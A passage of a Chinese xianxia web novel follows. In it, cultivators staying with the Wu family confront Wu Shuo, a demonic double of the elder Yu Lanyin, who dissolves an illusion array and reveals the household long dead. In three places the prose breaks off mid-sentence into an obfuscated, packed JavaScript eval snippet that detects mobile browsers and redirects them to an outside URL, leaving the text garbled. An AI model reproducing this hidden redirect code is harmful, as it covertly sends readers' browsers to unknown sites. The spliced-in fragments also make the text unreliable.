君少暄不好拂了霜娘好意,连忙假扮起乐呵呵给自己夹了一大碗鱼虾,“哪有哪有,爱吃的,可爱吃了。” 乌栎闻言显而易见地松了一口气。 “那就好,”他笑道,“我还怕是我做得粗茶淡饭仙君们不爱吃呢。” 饭后,在霜娘的盛情邀请百般相劝之下,四人难以推脱,只得在此处留宿一日。 霜娘高兴,连连应着收拾客房去了。 乌家四人各自做事了去,君少暄和镜遥也终于得了机会同玉阑音和温卓说些私话。 “长老,师叔,方才我同镜兄在后厨洗鱼虾,打听了打听,那乌朔确实有古怪。”君少暄压低了声音,道。 玉阑音稍稍一撩黑帘,“嗯,如何?” “乌鸢今年一十九,可是那乌朔今年只一十又一,相差了八岁,在寻常百姓家算是差得很多了。”君少暄道,“听乌鸢说,霜娘生下她后身体虚,原本是不打算养第二个孩子的。” 镜遥在一旁补充:“后来怀上了乌朔,找了好些郎中,也试过很多偏方,可就是小产不了。最后这才生下了乌朔。” 闻言,玉阑音和温卓对视一眼。 君少暄和镜遥见两人丝毫不意外的模样,有些摸不着头脑,“长老?” 于是温卓讲了方才给乌朔诊病时所见,后得了玉阑音的允许,他将达奚恩山、结界一事也全盘托出。 不出所料地,君少暄和镜遥齐齐呆愣当场。 “你是说……长老剥心化成了云州结界,同达奚恩山交恶……”镜遥讷讷道,”随后那个达奚恩山……造出来乌朔,是个厌族,而且同长老长得一模一样?” 温卓点点头。 镜遥浑身发起抖,抖如筛糠难以自制。 他颤抖着抬手一摸脸颊,这才发现,原来自己早已泪流满面。 君少暄脸色铁青无比,他定定看一眼玉阑音,“我一定……一定会杀了达奚恩山,长老,我……” 他忽然再说不出话,只能匆匆垂下了头。 仿佛听不出自己是话里的主角似的,玉阑音颇为轻快地点了头,“那我可要提前谢谢少暄了。” 不过他很快便话锋一转,“达奚恩山目前不在此处,同乌朔联系的大概另有其人,今日留宿乌家,你们也要多加注意。” 夜里,因为琼州湿气太重,玉阑音总觉着发闷,天色未暗,便同乌栎和霜娘打过了招呼,回房歇下了。 温卓的房间同玉阑音紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389316|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挨着,他不放心玉阑音一个人,又舍不得打扰他休息,于是便回了自己房间,悄悄放出了神识,笼罩住玉阑音的房间。 温卓简单收拾了屋子,照例打坐入定。 不过入定还不足半个时辰,他的房门忽然“叩叩叩”响了三声。 他的眸子猛地睁开,如鹰如隼寒光毕现,在黑暗的屋中锐利难当。 不是阑音。 “叩叩叩”,或许是因为久久没有回音,房门再次响了三声。 “温仙君,是我,阿鸢。”透过门板,乌鸢的声音有些发闷,细若蚊蝇,“仙君是睡下了吗?” 这次依旧是久久没有回话。 就在乌鸢以为温卓歇息下了,有些失望地要转身离去之时,温卓的声音忽然响了起来。 “没有。进来吧。” 终于听见了温卓的回复,乌鸢松一口气,心也随之咚咚跳起来。 她推门而入,可刚一进屋,屋内极度的昏暗叫她眼前一时像是盲了眼。 半晌,她才小声问道:“仙君,怎么没掌灯?” 温卓看了乌鸢一眼,随后一挥手,隔空将桌上的汽油灯点亮。 乌鸢头一回见仙术,被吓了一跳,好一会儿才有些兴奋道:“仙君这是使的仙术?” “嗯。”温卓保持着打坐的姿势未动,话音十分礼貌,却也不冷不淡,“阿鸢姑娘所来何事?” 这话一出,乌鸢当即就红了脸。不过好在汽油灯灯火昏黄,她红扑扑的脸蛋倒是没有太明显。 “是阿娘……阿娘叫我来给温仙君,和玉仙君送晚茶。”她道。 屋内的确是茶香四溢。 温卓定睛看一眼乌鸢手中端着的茶具和茶碗,忽然想到隔壁那人入夜煎茶的习惯,语气都顺和了很多,“怎么没有先给阑音送去,他喜欢这些。” 乌鸢愣了愣,过后才想到“阑音”是隔壁那位玉仙君的名字。 只是温仙君为何忽然不以兄长相称了?叫她听得还有些不习惯。 一边想着,乌鸢的脸更红了。 她垂下头,几乎是要把头埋到了茶盘里,近乎嗫嚅地说了句什么。 温卓毕竟是修仙之人耳力极好,不需要乌鸢再说第二遍,已经能将那话听得十分真切。 他像是是听到了什么令人惊讶的话似的,忽然抬起了头。 “心悦我?” 乌鸢听着温卓居然重复了一遍她说的话,一时更是害羞,只差找地方缩起来了。 她脸红得仿佛是要滴了血,“嗯……” 温卓似乎是察觉到了面前这姑娘的羞惭,愣了愣,“抱歉,我这话没有嘲笑姑娘的意思。” 乌鸢抬起头,一双杏眼在汽油灯下很亮,她抿抿唇,直直盯着温卓,等待温卓的回复。 温卓回望着乌鸢年轻又炽热的那颗心,略一停顿,随后许久才道:“抱歉,乌鸢姑娘。” 他的的语气忽然缓和了下来,似乎是耳畔私语一般不敢说重话,但是又有隐秘的欢愉,“我已经有喜欢的人了。” 乌鸢好一会儿都没说话。 她在光下眨眨眼,似乎是要哭了。 “喜欢……的人?” 温卓忽然笑了一下,“嗯。” 乌鸢少女怀春的心事已经被击打得一干二净。 按道理她是该掉下那满眶的眼泪,可是她没有。 乌鸢却更像是了却了心事似的,陡然放松了下来。她仰起头,抬手擦了擦脸颊处为滚落的晶莹,随后笑起来,道:“那她肯定是个很好的女子。” 同霜娘拭去泪水的动作别无二致。 温卓看着她年轻的笑靥好半晌,随后摇摇头,也笑了起来,“他不是女子。” 随后,他在乌鸢睁大的眼睛中笑了起来。 因为这笑意,温卓一贯冷硬的脸忽然像是迷蒙的远山一般柔和下来,眼睛在昏黄的灯光下极为明亮,甚至是由于幸福或是雀跃闪烁着动人的光斑。 似乎是在触碰着这世上无上珍贵的宝物一般小心翼翼,温卓很轻很慢地开口道:“不过他的确是天底下最好的人。又娇贵,又难养,可是我真的很喜欢他。” 他一顿,又笑了一下,“我明明已经喜欢得不知道怎么是好了,可他只当我是不懂事。” 他说着,目光慢慢移挪,最终停留在了他右侧的墙壁之上,仿佛透过这层薄薄的壁障看向了何人。 温卓略一垂下眼睛。 我知道你在听。 隔壁,躺在床上的人因为太久没动身,胳膊压得发了麻。 玉阑音动作很轻地翻过了身。 他知道我在听。 59.重现 "大人。" 须弥之地。 暗无天日的穹顶之上同样无星无月,街路鬼影重重,无数血色罩灯是此地唯一的光亮。 富丽奢靡的玄金色宫殿,一道玉色人影落下。 大殿内未掌灯,殿内高台之人藏在暗处看不清晰,只闻其声。 “嗯。来了。” “禀报大人,如大人所预测,今日火刑的确是被四名修士阻拦,未能成功举行。” 殿上那人似乎是笑了一声。 “我早就告诉你,不必心急。会有人等不及出手。将计就计。” “大人明见。不过此四人今日落居乌宅,恐生疑心。” “保持耐心。那玉盘碎片寻回来了?” “禀报大人,未能发现踪迹。” 话音降落,顷刻,一道极为猛烈的灵力,卷携着一阵如刀如磨锋利的罡风,猛地朝跪拜殿下的玉色人影袭来。 “废物。” 殿下那道孱弱的身躯毫不留情被拍打到墙壁之上,“噗呲”一声,鲜血喷涌而出。 “大人……” “还有,来见本尊,记得把你身上沾来脏猫脏狗的气味洗干净。今日你身上的味道,令本尊厌恶至极。” 那人连忙爬起身,端正地跪拜,拿雪白的袖摆抹了两把脸上,顿时在其上绽放出朵朵血气之花。 “回大人,这是西樵……” 陡然,殿上又是一阵狂猎的灵压袭来。 “你活腻了。本尊从不听解释。” “咯啦”令人牙酸的声音响起,那人被一双无形的手狠狠压在地上,身上“喀啦”声不断,无数骨骼尽数碎裂。 “大人……饶命……” “把自己的地位放清楚,乌鸦。本尊不想再提醒你第二次。” 乌鸦此刻眼眦猩红一片,脸色涨红,嘴无力地张张合合,低声恳求饶命。 簌乎,周身压得胸肺俱裂的灵压猛地消失了。 “滚。” 乌鸦被空气呛得一阵剧烈的咳嗽,来不及压下他喉间的血腥气,狼狈地行了一礼。 “是,大人。” 他呕出一口鲜血,不敢再抬头去看,拖着稀碎的身体匆匆运气离开了。 乌宅。 第二日,四人在鸡鸣声中按时醒来,稍作穿着整理便欲作别乌家,转而去别处继续探查。 可就在这时,一件不得不让他们驻足的事情发生了。 乌家因为昨日火刑日闹出的一通事情,如今在汀芷村的名声更是可想而知。 但是这死里逃生的乌家上下四口,好像对此接受程度十分良好。霜娘甚至乐乐呵呵说,没有人围堵乌家宅院扔臭鸡蛋、白菜叶就极好极好了。 可是就在这火刑黄了的第二天,乌宅忽然有人来访。 宅子门口敲门声一响起,霜娘和乌栎齐齐愣住了。 玉阑音礼貌问道:“是有客人?” 霜娘琢磨一会儿,纳罕道:“不应该啊。” 开门后,见到门外站着的女子,霜娘似乎是有些惊诧:“怀夫人?” 门外的怀夫人长得有些瘦弱,衣着很素净,此时手里正端着一小盅汤似的东西。 她笑道:“我看见你们家海船没出海,就知道你们都在家呢。” 怀夫人似乎是和乌家人十分熟悉,不怎么见外地就自己进了屋。 刚进屋,看到了衣貌不俗显然不是本地人的玉阑音四人,怀夫人笑呵呵问道:“哎哟,好巧,霜娘家正好迎客呢?” 她这话一问,霜娘和乌栎忽然像是被问到了似的,愣在了当场。 霜娘看看君少暄,再转头看看温卓,一时间觉得有些眩晕。 她好像……有点记不清是为何迎这四位仙君来作客的了。 霜娘秀美微蹙,随后求助地看向乌栎。 毫不意外,乌栎眼底同样浮现出一丝茫然和空白,与她如出一辙。 对上怀夫人的笑脸,霜娘只得笑着含糊其辞,“嗯,有客人,昨晚上来的。” 一旁,温卓眉心一动。 他稍稍一侧头,却意外间陡然对上了君少暄惊慌至瞳孔放大的眸子。 那边,怀夫人还在同霜娘寒暄:“这几日刚进了春天,春寒料峭,就得喝些热乎东西暖身子。这不,我家专门杀了两只鸡炖了鸡汤,也给你们家送来些。 “你和阿鸢是姑娘,千万不能总吃鱼虾那些凉东西,平日一定要多加注意,爱惜自己的身体啊。” 霜娘笑盈盈地接过来,“那真是要谢谢怀夫人挂念了。令郎最近可好?” “哎哟,好着呢,前几日刚传来了书信,说一切安好。”怀夫人道。 玉阑音和镜遥很快也注意到了脸色苍白的君少暄。 再看看乌家家主和夫人,玉阑音轻声道:“出去再说。” 得了令,镜遥立刻站起了身。 他行了个礼,稍稍打断了霜娘和怀夫人,“霜娘,家主,有客来访我们不便继续叨扰。昨日款待不胜感激,今日有事务在身,先行一步。” 闻言,霜娘愣愣地看着说话的镜遥,心中的疑惑越来越重。 不过她面上不显,仍旧十分礼貌笑着回道:“仙君真是客气了。” 由于临行之时的怪象,四人出了乌宅,却并没有立刻离去。 温卓确认四下无人,手一动,给四人套上了一阻断结界。 玉阑音终于得以完全摘下斗笠,顺手塞进温卓手中。 他温声询问:“怎么了,少暄?是想到了什么?” “那位怀夫人……”君少暄仍旧是方才那副惊恐得呆若木鸡的模样,他失神落魄地看向玉阑音,几乎是要哭出来了。 “那位怀夫人,应该已经死了啊……” 乌宅内。 怀夫人十分熟练地替霜娘收拾着桌子,一遍念念叨叨地替他们盛着鸡汤。 乌栎心下仍旧疑惑,找了机会低声同霜娘道:“方才那四位仙君是作何而来的,我怎么记不清了呢?况且我们家不是从不留宿外人的么?” “我也记不得了,”霜娘也摇摇头,“可是那几位仙君看上去又……好面熟。我总觉得我应该记得他们才是的……可就是……忽然就忘记了。” “你们二位感情真是好,又偷偷说什么小话呢?”怀夫人笑盈盈地将鸡汤摆到他们面前,“阿鸢呢?怎么不见她?” “阿鸢还没醒呢,”霜娘笑着开起了女儿的玩笑,“大概是昨夜偷摸做贼去了,今日居然睡到日上三竿了。” 怀夫人听得哈哈大笑,笑得上气不接下气。 一旁的霜娘看着怀夫人爽朗的笑靥愣了神。 她忽然有点想哭。 那是一种很奇怪的感觉。 明明她们前几日还一起去集市上买了布匹,可是…… 她就是觉得,她们好像已经很久、很久没有见过面了。 久到—— 天人相隔,一辈子那么久。 乌宅外。 君少暄话音甫落,一行人齐齐变了脸色,一时间,却又无一人开口说话。 终于,一旁的镜遥打破了沉默,他舔了舔嘴唇,讷讷道:“别吓我啊君兄……你别胡说啊,你这,这话……什么意思?” “我没胡说,是真的。”闻言,君少暄像是猛然回了神,“镜兄可能还不知,这个月朔日我便来过一次汀芷村。” “朔日?”镜遥愣了愣,“那不是……的日子吗?” 君少暄点点头,“对,只是很可惜我没能见到是什么人出的手,但那日夜里的的确确又是死了人了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411802|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “第二日,那人的尸体就挂在自家门前晾鱼虾的架子上,被啃食得不像样,一滴血都没有了,就像是一张干瘪了的人皮。” 镜遥似乎是想到了什么,猛地捂住了自己的嘴。 君少暄又点了点头,“那日死去之人,正是今日这位怀夫人。” 玉阑音沉默了好一会儿,道:“确定没有认错?” 君少暄道:“不会错的。那日死去的正是怀夫人,霜娘跪在她的尸体前哭了好久,我不会记错的。” 只是…… 今日的霜娘,似乎并不记得此事。 她似乎连昨日火刑的事情都忘得一干二净了。 就在这时,温卓没头没尾忽然道:“玉盘碎片。” 一语惊醒梦中人。 玉阑音和温卓对视一眼。 “什么玉盘碎片?”君少暄和镜遥被温卓说得一愣。 玉阑音迎着风低声咳了两声,“前日夜里我来过乌家,在院子里的树心中,发现了玄天门损坏的占风玉盘的碎片。” 镜遥略一思索,“古树?是乌朔院子里的那棵?” 玉阑音点头,“嗯。” 温卓不知从哪处摸出了一件薄薄的披风,系到了玉阑音的脖颈处。 “达奚恩山这人最喜欢故弄玄虚这一套,此事定然是同他脱不了干系。” 玉阑音稍稍昂起脖子由着温卓替他系披风,看上去十分乖巧,“我记得你说,那夜你一直紧随着我,甚至唤过我名字,可是我没发现。这像不像……” 他轻笑一声,眸底闪过一丝凛冽的光,“……迷雾阵?” 温卓的手一顿。 随后他轻轻眯起了眼睛,“故技重施?” “嗯哼,答对了。”玉阑音不知为何笑了起来,甚至混不吝地打了个响指,“他不知花了多大功夫做出了乌朔这假人,没道理不火上浇油一把。达奚恩山心术不正又极度偏执,故技重施的可能性极大。” “而且,”他一顿,笑道,“这不是加以改良过了么?如今的迷雾阵,可是没有雾了。” 只是很可惜,温卓几乎没怎么有心思去听玉阑音说了什么。 玉阑音这人或许是活得太久了,早就没了那种争强好胜的少年心性。 在大多数抽丝剥茧循序渐进的推断过程中,他总更喜欢去做那个循循善诱的引导者、倾听者。 如今他忽然流露出的恰到好处的狡黠,不可一世的少年气,居然是如此的耀眼夺目,耀眼到温卓实在难以移开眼睛。 玉阑音忽然拿手指作戒尺,不轻不重地打了温卓的手背,“怎么走神了?” 温卓这时才猛然回神,他稍稍别开了眼,“嗯。” 另一边,好在君少暄和镜遥也不是什么愚笨的孩子,不需要两人再费心解释便能推测出个七七八八。 “也就是说……”镜遥沉思道,“这些日闹得人心惶惶的接连死人一事,极有可能只是个幻境?” 君少暄道:“然后长老那日取走了碎片,实则是移动了阵眼,无意中破了阵?如此,怀夫人活了,霜娘和乌栎也忘记了环境中发生的事情就都可得以解释。” “破阵没有那么容易。”玉阑音却是摇摇头,“阵中阵,梦中梦,你又怎么知道你现在不在阵中,不在梦中?” 君少暄愣住了。 “而且,若真是如此大阵,若说阵主不坐镇其中我是不信的。”玉阑音忽然笑了起来,“乌朔院内古树树心埋着阵眼。 “那我们不妨猜猜,这阵主,是乌朔呢,还是乌朔呢,还是乌朔呢?” 背后,猛然升起一阵冷意,却不是风。 众人一回头,只见一个同玉阑音别无二致的年轻人,正站在他们的的身后。 他站得不远不近。只笑。 60.失控 “乌……乌朔……”望向来人,君少暄呼吸停滞一瞬,讷讷道。 不过这极轻的声音依旧被乌朔捕捉到了。 “是我。”他一改先前心智不全的模样,笑了起来,虚虚行了一礼,“四位仙君,好久不见。” 他的声音轻轻缓缓,居然也同玉阑音有几分相似之处。 闻声,四人脸色均是微变。 乌朔目光定定地看向玉阑音,笑道:“想必这位就是……玉阑音,太嵇真人罢。” 玉阑音略一颔首。 像是极为尊敬似的,乌朔再行了一礼,“久仰大名。” 玉阑音不笑不语,神情冷冽,此时又加之一袭黑衣,极为冷峻肃穆。 反观乌朔微微含笑,霜白色长袍在风中略飘荡。 不知是故意为之或是其他,这时的乌朔居然比玉阑音本人更像玉阑音几分。 和自己照镜子的事情,哪怕是活了千年的玉阑音这也是头一遭。 他目光在乌朔脸上略一停顿,随后才扯扯嘴角,冷淡回道:“玉某不知乌公子何来‘久仰大名’一说。” 对于玉阑音的明知故问,乌朔只是浅浅一笑。 只不过这笑意中似是藏了几分戏谑,最终显得有些尖锐刻薄。 温卓平日便比常人更冷寂凌厉一些,此时蓦地,他眉峰一压,眼底闪过一丝阴鸷的暗光,转瞬即逝。 君少暄最是看不得此等宵小之辈对他们长老无礼,怒从胸起。 “不过一厌族的冒牌货。”他嗤笑一声,“还是劝你狗嘴放尊重些。” 此言一出,对面老神在在世外高人似的乌朔脸上陡然有了龟裂的态势。 他半眯起眼睛,嘴唇颤抖似的蠕动几下,最终只流出一声故作镇静地冷哼。 镜遥略显失望地别开了眼睛。 一点也不像。 随后他偷瞄了几眼身的玉阑音。 嗯,果然是一点也不像。 冒牌货就是冒牌货。 温卓不知何时又取出了那玉盘碎片,在指尖不轻不重地把玩着。 他没有错过乌朔见到这瓷片之后略微停滞的神情。 不着痕迹收回目光,同玉阑音对视一眼。 神色交接之时,温卓弯了弯眼睛,极为标准地笑了一下。 玉阑音一顿,随后才好笑地别开了头。 这小子…… 着急忙慌的,居然还有心思开屏。 乌朔盯了那玉盘碎片好一会儿,佯装不在意地收回目光。 温卓话也没说,直接手指一拈,将这玉盘碎片拈了个灰飞烟灭,风一吹,化成一缕黑烟飞得影儿都不见了。 乌朔神情骤然一变,“你!” 温卓好整以暇拂去了指尖残余的灰尘,“嗯。如何?” 方才被温卓一打岔,玉阑音脸上冰霜似的冷然已然褪去了大半。 他目中含笑地看着温卓,一边好心给旁边那两个干瞪眼的小朋友传声解释道:“将阵眼石毁了,这是在逼乌朔解阵呢。” 汀芷村处此阵极为奇诡,大约是乌朔自创的大阵,阵眼是一个“不定阵眼”。 所以那日玉阑音取走了阵眼,法阵却仅仅是发生了偏移,却并未解阵。 阵眼承担着法阵运行和因果。 若是将阵眼石毁去,阵主又恰好在阵中,那么法阵的因果便会从阵眼转移至阵主肉身之上。 而显然,汀芷村此阵繁琐错综,复杂冗赘,覆盖范围又极宽极广,全然压到乌朔身上,他必然是要吃不消。 君少暄和镜遥略一思索,恍然大悟地点了点头。 大概是为了一比一复刻玉阑音,乌朔的身体也是如出一辙的弱柳扶风。 阵眼石碎裂后,没出一炷香的时间,乌朔的脸色从略显病态的瓷白逐渐褪色,直至连最后一丝血色都褪得一干二净。 他喉间猛地涌上一阵腥甜,几乎是从唇缝中挤出了一句:“温卓……” 温卓极好脾气地道:“怎么了,乌兄?是不舒服了?” 玉阑音在温卓身后“嗯哼”地笑了一声。 他稍稍往温卓背处一倾身,低声道:“若是我,此阵便是再多十个我都受得住。” 他这话语气分外轻巧,又不知为何有几分小孩子似的……争宠的意味。 温卓听得笑眯了眼。 他伸手探进玉阑音鸦黑的袖摆中,轻轻捏了捏玉阑音的手掌,哄小孩似的,“嗯,你最厉害。” 得了夸奖的玉阑音心满意足地直起了身,随后有些嫌弃似的甩开了温卓的手。 一旁,镜遥不明所以地看了一会儿袖摆纠缠到一起的两人。 温兄和长老……好像哪里不太对? 对面的乌朔的身体终于是强弩之末,忍无可忍地呕出了一口鲜血。 他跪落在地,忽然阴恻恻地笑起来,大叹气着松懈了肩膀,眼底阴狠毕现,“好啊,你们就是想逼我将这虚空换阵解了?是不是?” “是又如何?”君少暄双手背在身后,神色倨傲却又锋利,“现在的情况还轮得到你废话?” 君少暄这人骄傲又张扬,说起话来讨打无比。 乌朔看他一眼,只觉得自己本就不舒服的心脏此时更是堵得满当。 他扯扯嘴角,“我敢解,你们敢看么?” 一边说着,他咧嘴一笑,露出了一口被鲜血染红了的牙齿,如鬼似魅。 君少暄越看他越烦,“你个丑八怪,好碍眼。叫你解你解了就是了,总给自己添什么话。” 语罢,想到了什么似的,他偷偷偏过头和玉阑音解释:“没说你啊,长老。你长得比他好看多了,真的。” 玉阑音好笑地瞥他一眼。 乌朔二话不说,当即抬手,发了狠一般往自己血迹斑斑的胸口锤击三下。 猛地,一阵诡异的罡风急掠而来,牵动着方圆数十里的范围,直直冲向乌朔。 风中,乌朔眼眦俱裂,七窍流血,像是邪鬼入体一般发狂地吼叫起来。 温卓对他的丑态的嚎叫充耳不闻,只抽空伸手将玉阑音搂紧,再替他裹了裹吹散了的披风。 西樵客栈。 正噼里啪啦打着算盘的海棠掌柜忽然像是感受到了什么似的,从算盘和账本中抬起了头。 她往窗外看去。 窗外大风过境,吹得林木之上栖息的鸦雀惊飞四散。 海棠垂头,在那“千机算”之上拨弄了两下。 最后一颗珠子往梁上一撞,“啪啦”,一声清脆的声响。 她沉默半晌,随后再度去看窗外惊慌失措的鸟雀。 要变天了。 她从怀中一摸,摸出了个琉璃灯盏似的小玩意儿,巴掌大。 若是玉阑音四人中任何一人在此处,大概都能认得出,这灯盏正是修仙界人手一个的传音的小物件——灵犀灯。 海棠不知念了传声符文,片刻,她手中的灵犀灯骤然一亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429379|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 灵犀灯接通了。 “虚空换就要散了。” 窗外的风呼啸着撞击着客栈的门窗,哐当作响,天色昏黄,宛如末日降临。 “乌鸦失控了。” 另一边。 乌朔狂笑着,逐渐从喉间发出一些不似人物的桀桀的笑声。 那嘶哑地笑声越来越狂热,一股排山倒海的厌族气息也随之迸发而来,直直冲撞向四人。 玉阑音是第一个发觉不对劲的。 他眉间一凛,漆黑的眸子倏地凌厉,猛地反客为主,手极为迅速地将身侧的温卓往自己怀里一压,“屏息!隔绝五感!” 温卓被他的动作压了个猝不及防,他来不及去动些旖旎的心思,立刻照做。 可是,仅仅晚了一瞬。 登时,那喧嚣的厌族的嘶鸣宛如无孔不入的细针细线,穿针引线地钻入了温卓的识海,春风般柔柔掠过,直接将识海中那厌族唤醒了。 温卓的头“嗡”得一片空白,紧接着是一阵难忍的剧痛。 他的手猛地收紧,紧紧抓住了玉阑音胸襟处的衣服,甚至是钳住了玉阑音的皮肉。 他用力极大,直接拽得玉阑音往下一个俯身,险些同温卓撞了脑袋。 “温卓!” 玉阑音低声轻喝。他手一翻,变出他那鸦黑色斗笠,不由分说地按到温卓的头上。 挡住了温卓汗如雨下的脸,和他已经异化窄缩成竖瞳了的血红的眼睛。 温卓的手忽然松开了玉阑音的前襟,逐渐向上摸索而去。 一个发了狂的孩子而已,也不怕他能翻出什么花,玉阑音任由着他去。 可是他的手在行至玉阑音脖颈处时,忽然毫无征兆的地猛地收紧—— 玉阑音瞳孔一缩。 下一秒,温卓的手腾然像是被什么外力制止住了。 悬浮在玉阑音苍白脆弱的脖颈之上,由于用力,青筋外露,发着抖。 那手的方向蓦地一转,再次抓住了玉阑音皱巴巴的前襟。 拽着玉阑音猛地朝自己靠近。 “推……开我。” 两人距离猛然拉进。 温卓的声音已经带上了厌族特有的金属的嘶鸣,他的嘴唇不住地颤抖着,说话时,隔着黑纱断断续续地触碰到玉阑音的鼻尖。 “推开我……玉阑……音。” 他颤抖着一遍说着“推开”,可是手上却抓得越来越紧。 黑纱之上一片濡湿。 玉阑音分不清那究竟是汗还是泪。 温卓如今已经是完全失去了意识,他的识台混沌一片。 识海中央,枯树已经连根折断,火烧云长嘶,四蹄翻腾,金雕惊恐地振翅,上下翻飞。 一片嘈杂混沌之中,温卓看见那棵断了的树旁蹲着一个孩子。 怀里抱着无数草编的蚂蚱、蝴蝶、麻雀,一盏旧了的灵犀灯,和一个串着竹签的丑丑的糖人。 这个孩子在哭。 忽然,一声遥远又轻盈的叹息声从乌云和雷电中传来。 树下那个孩子和自己同时抬头去寻那声音的来处。 温卓的手赫然被另外的一只手反握住,那人似乎用了些力气,但是又很轻。 有一阵清淡的草药香陡然接近,不远不近地停留在他面前。 “别扔下你。我听到你这么说了,一一。” 隔着黑纱,一个苦涩草药香的吻,一触即分。 61.薙狝 温卓在那疼痛又虚无的幻觉之中停驻许久,久到他不止一次地觉得自己可能再也醒不过来了。 直到他苍白麻木地唇感知到那两瓣冷冽的柔软。 风肖雨止,时空停滞。 识海四处狼窜的厌族神识也随之消停。 温卓的头脑此时算不上清醒,他只恍惚中听到有什么五彩斑斓的东西就在耳畔炸裂而开,震得他浑身发起抖。 震得他怀里紧抱着的不值钱的小玩意儿,稀稀落落散了一地。 他近乎慌乱地、急切地清醒过来。 他得去抱眼前的人。 越快越好。 玉阑音在温卓识台平稳的一瞬间就察觉到了。 因为他粗重的呼吸突然停了,手上的动作也僵住了,小臂紧绷一道极为锋利的肌肉线条,微微发着抖。 他哂笑一声,“醒了?” 可是清醒过来了的温卓却并没有伸手去抱玉阑音。 他甚至没能说出话,只是沉默在原地。 玉阑音也不急,似笑非笑地隔着黑纱看了他一会儿。 一副多么祥和宁静的画卷啊。 如果忽略对面乌朔的鬼哭狼嚎,和身侧君少暄和镜遥吱哇乱叫的抵抗的话。 确认温卓恢复了正常,玉阑音便也不再在原地蹲着了。 他起身,拍小孩子似的拍了拍温卓头上的斗笠,沉沉地一笑:“好生待着。我去去就来。” 说完,玉阑音甚至没空去听温卓的回话。 他的神色在转头的瞬间,已然冷然一片。 玉阑音在乌朔引起的风中,却连发丝都未曾飘起。 他眯了眯眼,轻笑道:“不自量力。” 话音甫落,玉阑音的周身猛地暴起一阵极为耀眼的银白色灵气。 那灵气宛如浪奔海啸四面而来,如日似月,纯净又夺目,卷携起万千海浪与无数尘埃,迎风而来,直直顶上了乌朔卷起的罡风。 面前的顶风猛地一卸力,险些把君少暄晃得摔倒在地。 “这是……” 一旁的镜遥被那银色的光辉耀得只能眯着眼,“长老这是将乌朔外泄的灵气……内化成自己的了?” 玉阑音无心恋战,猛地一振袖,方才还称得上温和的银白色灵气忽然凶戾起来,爬升起一阵要将人挤压得爆体的灵压。 “轰隆——” 虽然只是灵气卷风过境,响起的却是宛如爆炸的震耳欲聋之声。 即便玉阑音已经有意控制,但依旧是震得君少暄和镜遥两人的耳朵都发了麻。 单薄的乌朔被如刀的飓风卷得一个趔趄,遂止了声。 乌朔厌族形貌已显,眼眸漆黑不见瞳仁,嘴唇鲜红,獠牙毕现。脸上那张玉阑音的脸如此诡异,又如此陌生。 他饶有兴致地伸出猩红的舌,舔了舔唇角。 “你真的很有趣,玉阑音,”乌朔闷声一笑,“也怪不得大人如此喜欢你了。” 他眯了眯眼,话锋一转,笑眯眯道:“只是,我既然已经解了这虚空换……你们有空同我周缠,怎么不去看看这汀芷村,如今到底是什么光景呢?” 玉阑音在乌朔止声后便顺势收了手,此时眉目之上划过极为阴沉的严肃。 “照顾好温卓。”他匆匆转头一嘱咐,随即便抬脚运气,闪身进了乌宅之中。 君少暄和镜遥两人这才注意到了一旁虚弱地蹲在地上的温卓。 只是此时也来不及好奇缘由了,两人只能在玉阑音身形消失的瞬间道:“是,长老。” 乌宅内。 院落荒草萋萋,一副久未有人涉足的模样。 推门之时木门的吱嘎声,和扑面而来的陈旧的灰尘气,叫玉阑音不由地皱起了眉头,甚至是抬起袖子挡了挡口鼻。 屋内萧瑟一片,墙壁近乎是坍塌了一半,角落结着厚厚的蜘蛛网。 窗纸破碎,在风中沙沙作响。 毫无人气。 毫无生气。 方才还言笑晏晏的霜娘、乌栎、怀夫人,已然消失得毫无踪影。 那安静祥和的清晨,仿佛只是一群人不约而同的大梦一场。 玉阑音走过荒芜的小径,去到客堂后另一间屋前,透过脆纸的窗户朝屋里看去。 屋内陈设看上去是乌栎霜娘的居室,灰扑扑,破败一片。 屋内有一架锈迹斑斑的缝纫铁车,一个身着粉色薄纱的女子伏在铁车上,衣服上落了灰。 是霜娘的打扮。 玉阑音辨认出霜娘的身形,未有迟疑便推门而进,大步流星走至铁车旁。 他身体本就不好,呛了灰尘低低咳了几声,轻声唤道:“霜娘?” 伏在桌面上的霜娘一动不动。 他道一句“失礼”,伸出手,可是刚碰到霜娘,霜娘就像轻脆的纸扎人一样,“哗啦”一声歪倒了。 只剩一张脸粘在铁车上。 屋内床褥鼓鼓的,掀开之后,是已经干瘪了的乌栎。 乌鸢同样死在了自己的屋内,蜷缩在地上,脖颈朝天仰着,几乎要碰到了脊背,痛苦而扭曲。 